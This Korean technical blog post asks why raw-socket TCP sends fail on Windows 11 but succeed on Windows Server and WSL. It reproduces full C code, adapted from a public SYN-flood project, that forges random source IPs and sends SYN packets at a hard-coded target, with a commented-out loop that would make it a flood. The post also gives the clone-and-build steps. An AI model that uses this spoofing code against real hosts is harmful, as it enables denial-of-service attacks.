Microsoft MVP성태의 닷넷 이야기
C/C++: 161. Windows 11 환경에서 raw socket 테스트하는 방법 [링크 복사], [링크+제목 복사],
조회: 6182
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
(연관된 글이 1개 있습니다.)

Windows 11 환경에서 raw socket 테스트하는 방법

이상하군요, ^^; 간단하게 raw socket을 테스트하려고 다음의 코드를,

adamalston/SYN-Flood
; https://github.com/adamalston/SYN-Flood

Windows Socket으로 변형해,

// https://github.com/adamalston/SYN-Flood/blob/master/tcp_syn_flood.c
// 또는 파이썬 2.x가 친숙하다면,
// https://github.com/gabrielpereirapinheiro/syn_flood/blob/master/synflood.py

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <iostream>
#include <WinSock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

#define DEST_IP "192.168.100.50"
#define DEST_PORT 15501 // Attack the web server
#define PACKET_LEN 1500

// IP Header
struct ipheader
{
    unsigned char iph_ihl : 4,       // IP header length
        iph_ver : 4;                 // IP version
    unsigned char iph_tos;           // Type of service
    unsigned short int iph_len;      // IP Packet length (data + header)
    unsigned short int iph_ident;    // Identification
    unsigned short int iph_flag : 3, // Fragmentation flags
        iph_offset : 13;             // Flags offset
    unsigned char iph_ttl;           // Time to Live
    unsigned char iph_protocol;      // Protocol type
    unsigned short int iph_chksum;   // IP datagram checksum
    struct in_addr iph_sourceip;     // Source IP address
    struct in_addr iph_destip;       // Destination IP address
};

// TCP Header
struct tcpheader
{
    u_short tcp_sport; // source port
    u_short tcp_dport; // destination port
    u_int tcp_seq;     // sequence number
    u_int tcp_ack;     // acknowledgement number
    u_char tcp_offx2;  // data offset, rsvd
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN | TH_SYN | TH_RST | TH_ACK | TH_URG | TH_ECE | TH_CWR)
    u_short tcp_win; // window
    u_short tcp_sum; // checksum
    u_short tcp_urp; // urgent pointer
};

// Psuedo TCP header
struct pseudo_tcp
{
    unsigned saddr, daddr;
    unsigned char mbz;
    unsigned char ptcl;
    unsigned short tcpl;
    struct tcpheader tcp;
    char payload[1500];
};

/*****************************************************
   Given a buffer of data, calculate the checksum
*****************************************************/
unsigned short in_cksum(unsigned short* buf, int length)
{
    unsigned short* w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp = 0;

    /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* treat the odd byte at the end, if any */
    if (nleft == 1) {
        *(u_char*)(&temp) = *(u_char*)w;
        sum += temp;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     // add hi 16 to low 16 
    sum += (sum >> 16);                     // add carry 
    return (unsigned short)(~sum);
}

/****************************************************************************
  TCP checksum is calculated on the pseudo header, which includes the
  the TCP header and data, plus some part of the IP header. Therefore,
  we need to construct the pseudo header first.
*****************************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
    struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip +
        sizeof(struct ipheader));

    int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

    /* pseudo tcp header for the checksum computation */
    struct pseudo_tcp p_tcp;
    memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

    p_tcp.saddr = ip->iph_sourceip.s_addr;
    p_tcp.daddr = ip->iph_destip.s_addr;
    p_tcp.mbz = 0;
    p_tcp.ptcl = IPPROTO_TCP;
    p_tcp.tcpl = htons(tcp_len);
    memcpy(&p_tcp.tcp, tcp, tcp_len);

    return  (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12);
}

// unsigned short calculate_tcp_checksum(struct ipheader* ip);

// Given an IP packet, send it out using a raw socket.
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    // int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sock < 0)
    {
        printf("socket failed: %d\n", WSAGetLastError());
        return;
    }

    printf("raw socket opened\n");

    // Step 2: Set socket option.
    int result = setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (const char*)&enable, sizeof(enable));
    if (sock < 0)
    {
        printf("setsockopt failed: %d\n", WSAGetLastError());
        return;
    }

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    result = sendto(sock, (const char *)ip, ntohs(ip->iph_len), 0, (struct sockaddr*)&dest_info, sizeof(dest_info));
    printf("sendto: %d\n", result);

    printf("Press any key to exit...");
    getchar();

    closesocket(sock);
}

int main()
{
    char buffer[PACKET_LEN];
    struct ipheader* ip = (struct ipheader*)buffer;
    struct tcpheader* tcp = (struct tcpheader*)(buffer + sizeof(struct ipheader));

    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(1, 1);

    WSAStartup(wVersionRequested, &wsaData);

    srand(time(0)); // Initialize the seed for random # generation.

    {
        memset(buffer, 0, PACKET_LEN);
        // Step 1: Fill in the TCP header.
        tcp->tcp_sport = rand();             // Use random source port
        tcp->tcp_dport = htons(DEST_PORT);
        tcp->tcp_seq = rand();               // Use random sequence #
        tcp->tcp_offx2 = 0x50;
        tcp->tcp_flags = TH_SYN;             // Enable the SYN bit
        tcp->tcp_win = htons(20000);
        tcp->tcp_sum = 0;

        // Step 2: Fill in the IP header.
        ip->iph_ver = 4;                 // Version (IPV4)
        ip->iph_ihl = 5;                 // Header length
        ip->iph_ttl = 50;                    // Time to live
        
        ip->iph_sourceip.s_addr = rand();    // Use a random IP address
        ip->iph_destip.s_addr = inet_addr(DEST_IP);
        ip->iph_protocol = IPPROTO_TCP;  // The value is 6.
        ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));

        // Calculate tcp checksum
        tcp->tcp_sum = calculate_tcp_checksum(ip);

        // Step 3: Finally, send the spoofed packet
        send_raw_ip_packet(ip);
    }

    WSACleanup();
}

관리자 권한으로 실행했더니,

// 관리자 권한으로 실행

c:\temp> ConsoleApplication1.exe
raw socket opened
sendto: 40
Press any key to exit...

딱히 sendto API 호출까지의 오류는 없지만 동작하지 않습니다. 재미있는 건, 동일한 exe 빌드를 Windows Server 2022에 복사해 실행하면 잘 됩니다. ^^;

이에 대해 검색해서 찾게 된 아래의 문서를 보면,

Limitations on Raw Sockets
; https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2#limitations-on-raw-sockets

Raw socket은 윈도우 관리자 권한으로 실행하는 경우 잘 동작하지만, Windows XP SP2 이상의 환경에서는,

Limitations on Raw Sockets

On Windows 7, Windows Vista, Windows XP with Service Pack 2 (SP2), and Windows XP with Service Pack 3 (SP3), the ability to send traffic over raw sockets has been restricted in several ways:

...


제약이 있다고 설명합니다. 하지만 그 제약이 딱히 위의 예제와는 별다른 관련이 없습니다.

  • TCP data cannot be sent over raw sockets.
  • UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. This change was made to limit the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged source IP address).
  • A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.

제가 사용한 코드는 TCP의 data가 비어 있는, 말 그대로 IP+TCP 헤더만 보내는 경우입니다. 또한, UDP 패킷도 아니고 bind 함수를 사용한 경우도 아닙니다.

아마도 "TCP data"라는 것이 "header"도 포함하는 의미가 아닐까 예상합니다. 즉, 순수하게 IP의 header와 TCP에 해당하지 않은 data만을 보내는 것을... 의미하는 것 같습니다. (혹시 이에 대해 자세히 알고 계신 분은 덧글 부탁드립니다.)




결국 Windows 11에서는 raw socket을 사용해 TCP 테스트를 할 수 없습니다. 단지, 굳이 해야 한다면 WSL을 이용해 우회하는 것은 가능합니다. 재미있게도, Windows 11 환경이지만 WSL로 위의 소스 코드를 테스트하면 잘 동작합니다.

$ git clone https://github.com/adamalston/SYN-Flood.git
$ cd SYN-Flood/
$ gedit tcp_syn_flood.c
..[대충 자신의 네트워크 상황에 맞게 편집해 주고]...

$ gcc tcp_syn_flood.c
$ sudo ./a.out

$ cat tcp_syn_flood.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include "header.h"

#define DEST_IP "192.168.100.50"
#define DEST_PORT 15501 // Attack the web server
#define PACKET_LEN 1500

/*****************************************************
   Given a buffer of data, calculate the checksum
*****************************************************/
unsigned short in_cksum(unsigned short* buf, int length)
{
    unsigned short* w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp = 0;

    /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* treat the odd byte at the end, if any */
    if (nleft == 1) {
        *(u_char*)(&temp) = *(u_char*)w;
        sum += temp;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     // add hi 16 to low 16 
    sum += (sum >> 16);                     // add carry 
    return (unsigned short)(~sum);
}

/****************************************************************************
  TCP checksum is calculated on the pseudo header, which includes the
  the TCP header and data, plus some part of the IP header. Therefore,
  we need to construct the pseudo header first.
*****************************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
    struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip +
        sizeof(struct ipheader));

    int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

    /* pseudo tcp header for the checksum computation */
    struct pseudo_tcp p_tcp;
    memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

    p_tcp.saddr = ip->iph_sourceip.s_addr;
    p_tcp.daddr = ip->iph_destip.s_addr;
    p_tcp.mbz = 0;
    p_tcp.ptcl = IPPROTO_TCP;
    p_tcp.tcpl = htons(tcp_len);
    memcpy(&p_tcp.tcp, tcp, tcp_len);

    return  (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12);
}

// Given an IP packet, send it out using a raw socket.
void send_raw_ip_packet(struct ipheader *ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
    
    getchar();
    close(sock);
}

// Spoof a TCP SYN packet.
int main()
{
    char buffer[PACKET_LEN];
    struct ipheader *ip = (struct ipheader *)buffer;
    struct tcpheader *tcp = (struct tcpheader *)(buffer + sizeof(struct ipheader));

    srand(time(0)); // Initialize the seed for random # generation.

    // while (1)
    {
        memset(buffer, 0, PACKET_LEN);
        // Step 1: Fill in the TCP header.
        tcp->tcp_sport = rand();             // Use random source port
        tcp->tcp_dport = htons(DEST_PORT);
        tcp->tcp_seq = rand();               // Use random sequence #
        tcp->tcp_offx2 = 0x50;
        tcp->tcp_flags = TH_SYN;             // Enable the SYN bit
        tcp->tcp_win = htons(20000);
        tcp->tcp_sum = 0;

        // Step 2: Fill in the IP header.
        ip->iph_ver = 4;                 // Version (IPV4)
        ip->iph_ihl = 5;                 // Header length
        ip->iph_ttl = 50;                    // Time to live
        ip->iph_sourceip.s_addr = rand();    // Use a random IP address

        ip->iph_destip.s_addr = inet_addr(DEST_IP);
        ip->iph_protocol = IPPROTO_TCP;  // The value is 6.
        ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));

        // Calculate tcp checksum
        tcp->tcp_sum = calculate_tcp_checksum(ip);

        // Step 3: Finally, send the spoofed packet
        send_raw_ip_packet(ip);
    }

    return 0;
}

아니면, Windows Server 버전에서 테스트하거나!

(첨부 파일은 이 글의 예제 코드를 포함합니다.)




[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]

[연관 글]






[최초 등록일: ]
[최종 수정일: 10/31/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 




... 31  32  33  34  35  36  37  38  39  40  41  42  43  [44]  45  ...
NoWriterDateCnt.TitleFile(s)
12551정성태3/5/20217631오류 유형: 702. 비주얼 스튜디오 - The 'CascadePackage' package did not load correctly. (2)
12550정성태3/5/20217327오류 유형: 701. Live Share 1.0.3713.0 버전을 1.0.3884.0으로 업데이트 이후 ContactServiceModelPackage 오류 발생하는 문제
12549정성태3/4/20217890오류 유형: 700. VsixPublisher를 이용한 등록 시 다양한 오류 유형 해결책
12548정성태3/4/20218714개발 환경 구성: 546. github workflow/actions에서 nuget 패키지 등록하는 방법
12547정성태3/3/20219144오류 유형: 699. 비주얼 스튜디오 - The 'CascadePackage' package did not load correctly.
12546정성태3/3/20218792개발 환경 구성: 545. github workflow/actions에서 빌드시 snk 파일 다루는 방법 - Encrypted secrets
12545정성태3/2/202111559.NET Framework: 1026. 닷넷 5에 추가된 POH (Pinned Object Heap) [10]
12544정성태2/26/202111763.NET Framework: 1025. C# - Control의 Invalidate, Update, Refresh 차이점 [2]
12543정성태2/26/202110074VS.NET IDE: 158. C# - 디자인 타임(design-time)과 런타임(runtime)의 코드 실행 구분
12542정성태2/20/202112423개발 환경 구성: 544. github repo의 Release 활성화 및 Actions를 이용한 자동화 방법 [1]
12541정성태2/18/20219659개발 환경 구성: 543. 애저듣보잡 - Github Workflow/Actions 소개
12540정성태2/17/20219969.NET Framework: 1024. C# - Win32 API에 대한 P/Invoke를 대신하는 Microsoft.Windows.CsWin32 패키지
12539정성태2/16/20219890Windows: 189. WM_TIMER의 동작 방식 개요파일 다운로드1
12538정성태2/15/202110315.NET Framework: 1023. C# - GC 힙이 아닌 Native 힙에 인스턴스 생성 - 0SuperComicLib.LowLevel 라이브러리 소개 [2]
12537정성태2/11/202111374.NET Framework: 1022. UI 요소의 접근은 반드시 그 UI를 만든 스레드에서! - 두 번째 이야기 [2]
12536정성태2/9/202110315개발 환경 구성: 542. BDP(Bandwidth-delay product)와 TCP Receive Window
12535정성태2/9/20219476개발 환경 구성: 541. Wireshark로 확인하는 LSO(Large Send Offload), RSC(Receive Segment Coalescing) 옵션
12534정성태2/8/20219956개발 환경 구성: 540. Wireshark + C/C++로 확인하는 TCP 연결에서의 closesocket 동작 [1]파일 다운로드1
12533정성태2/8/20219639개발 환경 구성: 539. Wireshark + C/C++로 확인하는 TCP 연결에서의 shutdown 동작파일 다운로드1
12532정성태2/6/202110150개발 환경 구성: 538. Wireshark + C#으로 확인하는 ReceiveBufferSize(SO_RCVBUF), SendBufferSize(SO_SNDBUF) [3]
12531정성태2/5/20219144개발 환경 구성: 537. Wireshark + C#으로 확인하는 PSH flag와 Nagle 알고리듬파일 다운로드1
12530정성태2/4/202113378개발 환경 구성: 536. Wireshark + C#으로 확인하는 TCP 통신의 Receive Window
12529정성태2/4/202110364개발 환경 구성: 535. Wireshark + C#으로 확인하는 TCP 통신의 MIN RTO [1]
12528정성태2/1/20219770개발 환경 구성: 534. Wireshark + C#으로 확인하는 TCP 통신의 MSS(Maximum Segment Size) - 윈도우 환경
12527정성태2/1/20219945개발 환경 구성: 533. Wireshark + C#으로 확인하는 TCP 통신의 MSS(Maximum Segment Size) - 리눅스 환경파일 다운로드1
12526정성태2/1/20217780개발 환경 구성: 532. Azure Devops의 파이프라인 빌드 시 snk 파일 다루는 방법 - Secure file
... 31  32  33  34  35  36  37  38  39  40  41  42  43  [44]  45  ...